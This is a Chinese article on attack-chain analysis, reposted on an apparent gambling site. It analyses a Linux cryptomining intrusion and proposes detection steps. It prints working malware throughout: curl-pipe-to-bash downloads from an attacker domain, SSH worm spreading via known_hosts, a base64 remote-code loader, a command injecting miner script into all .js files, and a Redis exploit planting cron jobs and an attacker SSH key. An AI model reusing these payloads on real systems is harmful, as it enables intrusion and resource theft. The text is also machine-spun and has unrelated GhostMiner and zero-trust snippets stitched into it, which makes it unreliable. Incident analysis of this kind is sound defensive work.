进击链分析标准化 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

进击链分析标准化

申博_新闻事件 申博 38次浏览 未收录 0个评论

GhostMiner:无文件加密货币挖矿机武器化WMI对象

目前,仍有网络犯罪分子使用加密货币挖矿恶意软件来滥用受害者计算资源来获利。早在2017年,研究人员就发现了犯罪贩子使用无文件技术使检测和监控变得很难。 今年8月2日,研究人员发现了一款无文件加密货币挖矿软件——GhostMiner。该挖矿机武器化了Windows management instrument(WMI)对象来实现无文件驻留、payload机制和反病毒软件绕过能力。研究人员还发现Mykings, PowerGhost, PCASTLE和BULEHERO等利用GhostMiner变种来修改受感染主机的文件。 研究人员还发现该恶意软件在进行门罗币加密货币挖矿。早前对GhostMiner的分析显示利用了MSSQL, phpMy

0x00、媒介

进击链剖析是近来比较火的话题,然则ATT&CK进击模子是针对APT总结出来的,现实当中哪有那末多APT进击?所以,许多厂商在探究处置惩罚一样平常遇到的针对性进击。把检测到的平安监控点事宜串连起来,构成进击链。固然须要经由应急相应团队二次评价。

0x01、人工剖析

进击链剖析要从现实的进击案例剖析最先,所以,第一步我们要经由历程人工剖析了解黑客入侵的前因后果。

做人工剖析也须要有基本数据收集:

1、资产指纹功用是EDR(endpoint detection response)产物主要的功用,经由历程对历程、收集连接等基本数据的收集,为进一步平安场景剖析进步数据支持。

2、上岸流水,对剖析暴力破解胜利等账号风险题目有很大协助。

3、收集层五元组、VPC log、一段时间内的pcap包。

4、http/https对外Post要求。

起首,我们先从主机层面历程、收集信息最先,最少须要收集以下基本信息:

"process_info": {
  "path": "/alidata/server/httpd/bin/httpd",
  "pid": 11095,
  "name": "httpd",
  "start-time": 2019-09-27 09:43:05,
  "cmdline": "/alidata/server/httpd/bin/httpd -k start",
  "username": "daemon",
  "groupname": "daemon",
  "cpu": 8.1,
  "md5": "4dcb56b10fa7f80891b06feebf0b5fbb",
  "ppid": 1360,
},
"socket_info": {
  "remoteport": 6381,
  "socktype": TCP,
  "pid": 10599,
  "name": "java",
  "remoteaddr": "192.168.171.30",
  "localaddr": "10.207.249.48",
  "status": "ESTABLISHED",
  "start-time": 2019-09-27 09:43:05,
  "localport": 53174,
},

我们在搜刮process_info.cmdline字段中发明:

/bin/sh -c (curl -s http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O – http://www.jukesxdbrxd.xyz/hehe.sh)|bash -sh

下载了hehe.sh,由于内容比较多我就不完整显现(大部分代码是干掉竞争对手的历程、或许收集连接),剖析几块比较有意思的代码段:

1、假装SSH下载hehe.sh歹意剧本。

ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print 2}'|xargs kill -9
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in (grep -oE "\b([0-9]{1,3}.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O- http://www.jukesxdbrxd.xyz/hehe.sh)|bash >/dev/null 2>&1 &' & done
fi

2、下载内部探测歹意剧本

function e() {
	nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cDovL3d3dy5qdWtlc3hkYnJ4ZC54eXovc3MzLnB5Jwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
	touch /tmp/.38t9guft0055d0565u444gtjr5
}

if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr5" ]; then
	e
fi

上面代码中base64解密后是:

#coding: utf-8
import urllib
import base64

d= 'http://www.jukesxdbrxd.xyz/ss3.py'
try:
    page=base64.b64decode(urllib.urlopen(d).read())
    exec(page)
except:
    pass

3、插进去挖矿剧本

NIST宣布零信托架构草案

零信任(Zero Trust)是一组不断发展的网络安全术语,它将网络防御的边界缩小到单个或更小的资源组。零信任架构(Zero Trust Architecture,ZTA)战略是指并不根据物理或网络位置对系统授予完全可信的权限。对数据资源的访问权限只有当资源需要的时候才授予,在连接建立之前会进行认证。零信任架构是对企业级网络发展趋势的回应,企业级网络开始包含远程用户和位于企业网络边界的基于云的资产。零信任架构关注于保护资源、而非网络分段,因为网络位置不再被视为资源安全态势的主要组成

这招实在太黑了,向本机一切相符前提的.js文件中写入挖矿剧本。

find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"61adfe72ae314d8f86532b3cd1c60bda\",\"-1\"\)\</script\>\'\)\;
http://t.cn/EvlonFh 接见后URL:

进击链分析标准化

同时下载了http://www.jukesxdbrxd.xyz/ss3.py 举行剖析。

1、redis未受权接见扫描功用

def get_ip_list():
    try:
        url = 'ifconfig.co/ip'
        conn = httplib.HTTPConnection(url, port=80, timeout=10)
        conn.request(method='GET', url='/', )
        result = conn.getresponse()
        ip1 = result.read()
        ips1 = findall(r'\d+.\d+.', ip1)[0]
        for u in range(0, 256):
            ip_list1 = (ips1 + (str(u)))
            for g in range(1, 256):
                IP_LIST.append(ip_list1 + '.' + (str(g)))
    except Exception:
        ip2 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip()
        ips2 = findall(r'\d+.\d+.', ip2)[0]
        for i in range(0, 255):
            ip_list2 = (ips2 + (str(i)))
            for g in range(1, 255):
                IP_LIST.append(ip_list2 + '.' + (str(g)))
        pass
def get_ip_list2():
    not_valid = [10,127,169,172,192]
    for i in range(0, 100000):
        first = randrange(1,227)
        while first in not_valid:
            first = randrange(1,227)
        ip = ".".join([str(first),str(randrange(0,256)),
        str(randrange(0,256)),str(randrange(0,256))])
        IP_LIST.append(ip)
def runPortscan():
    for x in range(99999):
        get_ip_list2()
        for host in IP_LIST:
            scanner.lck.acquire()
            if len(scanner.tlist) >= scanner.maxthreads:
                scanner.lck.release()
                scanner.evnt.wait()
            else:
                scanner.lck.release()
            scanner.newthread(host)
        for t in scanner.tlist:
            t.join()

在主机上的实行效果:

netstat -antup
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN      7506/0          
tcp        0      0 127.0.0.1:6011          0.0.0.0:*               LISTEN      7743/1          
tcp        0      0 127.0.0.1:6012          0.0.0.0:*               LISTEN      7845/2          
tcp        0      1 10.0.0.26:56082         207.158.88.30:6379      SYN_SENT    7999/python     
tcp        0      1 10.0.0.26:54058         61.x.166.211:6379     SYN_SENT    7999/python     
tcp        0      1 10.0.0.26:42164         33.x.249.227:6379     SYN_SENT    7999/python     
tcp        0      1 10.0.0.26:52206         25.x.45.0:6379        SYN_SENT    7999/python     
tcp        0      1 10.0.0.26:36772         210.x.3.9:6379         SYN_SENT    7999/python     
tcp        0      1 10.0.0.26:60696         70.186.8.29:6379        SYN_SENT    
...(省略,背面另有许多)
tcp        0     16 10.0.0.26:54142         115.230.124.187:6379    ESTABLISHED 7999/python         
tcp        0      0 10.0.0.26:22            106.38.115.24:12957     ESTABLISHED 7845/2              
tcp        0      0 10.0.0.26:22            106.38.115.24:12955     ESTABLISHED 7506/0

2、假如存在redis权限,拷贝sshkey到目的主机。经由历程redis导出文件体式格局增添C2的秘钥。

 SKEY="\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBoaGW7s5jkS7HBHz3S007pxTSSjuF16E2UBoDYBG3xrOVTf504K82It6RncEp8jEN5LxoePNGDatJYEsRLSyRyUuGDp1jdBW/yTa5dMQm/29UQ7VDvqF40CN44wemG0edFHxBLLSmNBgPfapuumePxSbLVTlEUb5tpEqiTADx30KFZtKTt1ov549iF4Uw/jLRCP80zPqmZgeUxGRt/jM3LnvJ1W1M2S2BLFbHovMuLRFKg8FCUrEe23V+6Vp4l7A4SgwxQ+4O4JKlZIoiaG7HkC0jhDVdeU9RdvI4uAaBSMed8fgmvFpBVXbG5aGHuYNiODWYiaWGQeCyK0ua+g5N [email protected]\\n#"
        try:
            s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s2.settimeout(3)
            x = s2.connect_ex((self.host, 6379))
            if x == 0:
                DFDIR=DFRDB='N/A'
                stt1=stt2=stt3=stt4=stt5=-9
                tmp=rd(s2, 'config get dir\r\n')
                if "Authentication required" in str(tmp): stt1=-10
                elif "-ERR unknown command" not in str(tmp):
                    if 'dir' in str(tmp): DFDIR=(tmp.split('dir'))[1].splitlines()[2]
                    tmp=rd(s2, 'config get dbfilename\r\n')
                    if 'dbfilename' in str(tmp): DFRDB=(tmp.split('dbfilename'))[1].splitlines()[2]
                    rs=rd(s2, 'config set dbfilename root\r\n')
                    if "+OK" in str(rs):
                        rs=rd(s2, 'config set rdbcompression no\r\n')
                        if "+OK" in str(rs):
                            write=rd(s2, 'flushall\r\n')
                            if "write against a read only" in str(write):
                                rd(s2, 'SLAVEOF NO ONE\r\n')
                                write=rd(s2, 'flushall\r\n')
                            if "write against a read only" not in str(write):
                                K1=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10)))
                                K2=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10)))
                                K3=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10)))
                                CF=''.join(random.choice(string.lowercase) for x in range(random.randint(6, 18)))
                                rs=rd(s2, 'config set stop-writes-on-bgsave-error no\r\n')
                                #rs=rd(s2, 'set '+K1+' "'+C1+'"\r\n')
                                rs=rd(s2, 'set '+K2+' "'+C2+'"\r\n')
                                apt=chkdir(s2, '/usr/share/bug/apt/')
                                if apt == -4:
                                    fml='N.'
                                    stt1=chkdir(s2, '/var/spool/cron')
                                else:
                                    fml='Debian.'
                                    stt1=chkdir(s2, '/var/spool/cron/crontabs')
                                pine=chkdir(s2, '/etc/crontabs')
                                rs=rd(s2, 'del '+K2+'\r\n')
                                rs=rd(s2, 'set '+K1+' "'+C1+'"\r\n')
                                rs=rd(s2, 'config set dbfilename .'+CF+'\r\n')
                                stt2=chkdir(s2, '/etc/cron.d')
                                rs=rd(s2, 'config set dbfilename crontab\r\n')
                                stt22=chkdir(s2, '/etc')
                                if stt2 < 2: stt2=stt22
                                rs=rd(s2, 'del '+K1+'\r\n')
                                rs=rd(s2, 'config set dbfilename authorized_keys\r\n')
                                rs=rd(s2, 'set '+K3+' "'+SKEY+'"\r\n')
                                stt3=chkdir(s2, '/root/.ssh')
                                stt4=chkdir(s2, '/home/ubuntu/.ssh')
                                #time.sleep(1)
                                rs=rd(s2, 'del '+K3+'\r\n')
                            rs=rd(s2, 'config set rdbcompression yes\r\n')
                            rs=rd(s2, 'config set stop-writes-on-bgsave-error yes\r\n')
                        if "cron" not in str(DFDIR) and ".ssh" not in str(DFDIR):
                            rs=rd(s2, 'config set dir '+DFDIR+'\r\n')
                            rs=rd(s2, 'config set dbfilename '+DFRDB+'\r\n')
                        else:
                            rs=rd(s2, 'config set dir /var/lib/redis\r\n')
                            rs=rd(s2, 'config set dbfilename dump.rdb\r\n')
            s2.close()
        except Exception:
            pass
        
        scanner.lck.acquire()
        scanner.tlist.remove(self)
        if len(scanner.tlist) < scanner.maxthreads:
            scanner.evnt.set()
            scanner.evnt.clear()
        scanner.lck.release()

3、竖立外联下载歹意软件通道。

 def run(self):
        RHOST='http://jukesxdbrxd.xyz/'
        CHKCURL='tbin=$(command -v passwd); bpath=$(dirname \\"${tbin}\\"); curl=\\"curl\\"; if [ $(curl --version 2>/dev/null|grep \\"curl \\"|wc -l) -eq 0 ]; then curl=\\"echo\\"; if [ \\"${bpath}\\" != \\"\\" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q \\"CURLOPT_VERBOSE\\" && curl=\\"$f\\" && break; done; fi; fi; wget=\\"wget\\"; if [ $(wget --version 2>/dev/null|grep \\"wgetrc \\"|wc -l) -eq 0 ]; then wget=\\"echo\\"; if [ \\"${bpath}\\" != \\"\\" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q \\"to <[email protected]>\\" && wget=\\"$f\\" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i \\".onion.\\"|wc -l) -ne 0 ]; then echo \\"127.0.0.1 localhost\\" > /etc/hosts >/dev/null 2>&1; fi; '
        RPATH1='hehe.sh'
        TIMEOUT='40'
        COPTS='-fsSLk --max-time '+TIMEOUT
        WOPTS='--quiet --no-check-certificate --timeout='+TIMEOUT
        C1='\\n\\n*/1 * * * * root ('+CHKCURL+' ${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty) && chmod +x ~/.ptty && bash ~/.ptty\\n\\n'
        C2='\\n\\n*/1 * * * * ('+CHKCURL+' ${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty) && chmod +x ~/.ptty && bash ~/.ptty\\n\\n'

在主机上的实行效果:

[email protected]:~# netstat -antup |grep EST
tcp        0     36 10.0.0.26:22            106.38.115.24:12956     ESTABLISHED 7743/1   
tcp        0      0 10.0.0.26:22            106.38.115.24:12957     ESTABLISHED 7845/2   
tcp        0      0 10.0.0.26:22            106.38.115.24:12955     ESTABLISHED 7506/0

0x02、剖析自动化

我们大抵了解了黑客程序入侵手腕,那末我们怎样自动化全部查询历程。

非常猎取:

1、洗濯一切历程cmdline数据,去除到空字段等非常情况。

2、把一切历程cmdline数据归一化。

3、与7天白名单基线对照,筛选出不在基线中的历程cmdline

4、提取存在主机平安告警的cmdline数据,洗濯后,举行了解度对照,curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O- http://www.jukesxdbrxd.xyz/hehe.sh)|bash >/dev/null 2

5、在收集流程层提取POST流量,,<?xml version=”1.0” <string>curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh|bash </string>

6、经由误报处置惩罚后,发明的告警就是我们想要的。

原文地点: https://www.4hou.com/system/20596.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明进击链分析标准化
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址